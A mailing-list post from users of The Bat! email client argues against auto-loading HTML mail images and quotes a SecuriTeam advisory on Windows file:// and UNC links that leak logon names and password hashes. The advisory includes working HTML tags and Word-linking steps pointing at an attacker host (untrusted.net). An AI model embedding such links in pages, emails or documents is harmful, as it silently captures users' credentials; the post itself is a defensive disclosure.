Sorry for the long message but I thought the partial article which I
included at the end of this message may shed some light on the issue of
HTML e-mail. In one paragraph, it discusses how code (benign or
dangerous) can be hidden in a graphic reference.
I stopped using Outlook 98 for precisely this reason: that it tries to
connect to the various (unknown) servers to retrieve the graphics and
anything else that may be embedded (read: hidden) in the HTML code. TB!
doesn't try to do that and thus provides some protection from malicious
HTML code. Also, there is nothing more annoying than, as a dial-up user,
your system wanting to connect each time it hits a graphics box.
Frank>> When I receive HTML newsletters the text is fine but there are
Frank>> no graphics, just empty boxes.
> You're not doing anything wrong, Frank ... TB! simply doesn't show the
> graphics as they're not part of the message itself, only referenced in
> the HTML code, and TB! is not set up to retrieve them.
> I'm afraid that, from what I've seen on the list to date, most users
> like it that way.
I am one who likes it that way. Let's face it, it's auto-retrieval and
the associated executions that allowed such exploits as the Love Bug.
Okay, a graphic isn't going to do damage, but that's not the point.
Mail should be self contained - attachments are part of that. When a
graphic is correctly attached to HTML email, it is shown in-line.
Frank: If you want to see full on-line (i.e. non-attached) graphics,
it's very easy to open the HTML attachment in your favourite browser
with a swift double click on the icon.
<snip>
> The following security advisory is sent to the securiteam mailing list,
and can be found at the SecuriTeam web site: http://www.securiteam.com
>
>
> Network File Resource Vulnerability sends Windows usernames and passwords
> over the Internet
> --------------------------------------------------------------------------
>
>
> SUMMARY
>
> Programs running default installations of Windows 95/98/NT/2000 can be
> duped into sending a user's logon name, domain or system name, and
> plaintext or encrypted password hash to non-trusted servers over the
> Internet. This can occur by merely viewing a web page, email, or certain
> MS-Office documents. The attack can be executed so that the user is
> unaware that anything unusual has happened. Macros or scripting are not
> required to make this work. Partial solutions are available, but will not
> protect all users or enterprises.
>
> DETAILS
>
> Vulnerable systems:
> - Windows 95,98 (W9x)
> - Windows NT4, SP6a (NT4)
> - Windows 2000, RTM (W2K)
>
> Vulnerable software:
> - Internet Explorer (IE) 5, 4
> - Netscape Navigator 4.0
> - Outlook 2000, 98
> - Outlook Express 98, 5
> - Eudora 4
> - Microsoft Word 97
>
> This attack relies on the file:// URL or sometimes the UNC \\ pathname to
> point to a resource such as a graphic. Windows systems with NetBIOS over
> IP enabled and running a Microsoft Client will retrieve the resource by
> attempting to log in to the server providing the resource. Thus if a link
> was file://untrusted.net/share/pixel.gif, the system will try to log on to
> untrusted.net using the current logon credentials and retrieve the file.
>
> This will give the untrusted.net server:
> - The username currently logged on.
> - The machine or domain name the user authenticated to.
> - The encrypted LANMAN and NTLM hashes, or if W95 possibly the plain-text
> password (See below). This password can be relatively easily broken using
> a password-cracking tool (see our <http://www.securiteam.com/tools> tools
> page)
>
> This attack can be delivered by:
> - A web page, as an embedded link to a graphic or other resource on a
> page visited from a browser.
> - An HTML formatted email, as an embedded link to a graphic or other
> resource.
> - In a Microsoft Word document, as an embedded link to a picture.
> - When the W2K Windows Explorer preview pane displays an HTML file.
> - Possibly many other ways. Happy hunting.
>
> Web based attack:
>
> The first attack is to hide a file:// or UNC link to an embedded resource
> within a web page. This is extremely easy to do. The weakness is that a
> user has to visit the web page in order for the attack to take place.
>
> HTML code would look something like this:
> <IMG SRC="file://dns.name.or.ip.here/share/file.gif">
>
> This may result in broken graphics displayed if the file is not retrieved.
> The preferred method of hiding the request is to use the background
> attribute of the body tag. This will not display errors if the file is not
> retrieved.
> <BODY background=file://untrusted.net/share/pixel.gif bgColor=#ffffff>
>
> If pixel.gif is a 1x1 white image, the user will not notice if it is
> displayed or not. Unless one views the source one would have no idea the
> file is even there. If the file is not available, one may notice that it
> seems to take a while for the page to complete loading even though all
> text is visible.
>
> Another way to prevent any errors from appearing is to set up the guest
> account with no password to allow anonymous access to the server. Windows
> will always try the cached credentials first. When the cached credentials
> fail, a server will silently allow anonymous access and deliver the file.
>
> IE will also take the UNC path format \\untrusted.net\share\pixel.gif.
> Netscape (4.05) will not use this format.
>
> Mail based attack:
>
> Since most major mail programs on Windows support HTLM email using either
> the Netscape or IE engine for display, this same attack can be delivered
> by email. An HTML message with the following:
> <BODY background=file://untrusted.net/share/pixel.gif bgColor=#ffffff
> NOSEND="1">
> Will activate the attack when the user opens or previews the message. The
> NOSEND attribute will probably keep Outlook from embedding the file in the
> email message. This will ensure that the link is forwarded if the mail is
> clever enough to get the initial recipient to forward it.
>
> Obviously the mail-based version has the benefit of being directed at
> targets. This has been successfully used during field-testing.
>
> Document based attack:
>
> Links can also be placed in Microsoft Word documents. To do this, open a
> word document, choose Insert:Picture:From File. In the dialog box type the
> UNC path for the file name. Check "Link to File" and uncheck "Save with
> Document". Word does not accept the file:// URL.
>
> This linking does not require any macros to run. If a small white graphic
> is used the viewer will have no idea it is in the document.
>
> Excel does not allow picture embedding in the same way.
>
> Windows 95 downgrading LANMAN authentication:
>
> According to Microsoft TechNet Bulletin Q165403, Windows 95 versions up to
> and including OEM SR 2.1 can be tricked into downgrading authentication to
> plaintext passwords. There is an update for W95 available. See:
> <http://support.microsoft.com/support/kb/articles/Q165/4/03.ASP>
> http://support.microsoft.com/support/kb/articles/Q165/4/03.ASP for
> details. Without that patch these systems are extremely vulnerable.
> Enterprises running W95 should verify their configurations. W98, NT4 sp3
> or later and W2K are not vulnerable to plaintext downgrading.
>
<major snip>
Lawrence Kalmakoff
Ottawa, Ontario
DH/DSS Key ID: 0xA99FCC5F
--
--------------------------------------------------------------
View the TBUDL archive at http://tbudl.thebat.dutaint.com
To send a message to the list moderation team double click here:
<mailto:[EMAIL PROTECTED]>
To Unsubscribe from TBUDL, double click here and send the message:
<mailto:[EMAIL PROTECTED]>
--------------------------------------------------------------
You are subscribed as : [email protected]
